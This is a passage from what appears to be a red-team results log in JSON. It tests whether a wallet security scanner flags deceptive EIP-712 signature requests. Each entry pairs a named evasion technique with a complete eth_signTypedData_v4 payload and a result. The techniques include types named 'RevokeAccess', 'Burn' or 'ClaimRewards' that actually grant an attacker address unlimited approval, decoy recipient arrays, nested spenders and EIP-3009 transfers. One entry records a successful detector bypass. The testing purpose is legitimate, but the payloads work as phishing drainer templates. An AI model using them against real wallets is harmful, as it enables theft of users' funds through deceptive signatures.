"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:20:48.986Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:20:58.173Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:21:07.544Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:21:16.794Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:21:25.981Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:21:35.185Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:21:44.380Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:21:53.579Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:22:02.775Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:22:12.114Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN27-EIP3009-022", "timestamp": "2026-01-31T17:22:21.293Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x48f4f4b2344d99c4db020fd96303d6e1fbf1ee23fce82f03e0f2e6d36b795755\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN27-EIP3009-054", "timestamp": "2026-01-31T17:22:27.835Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe138242c8b01d04eeac7dda7dc85cd95cef6762690f7f72b505353f10ae1ecf8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:22:37.463Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:22:46.657Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:22:55.882Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:23:05.076Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:23:14.295Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:23:23.502Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:23:32.742Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 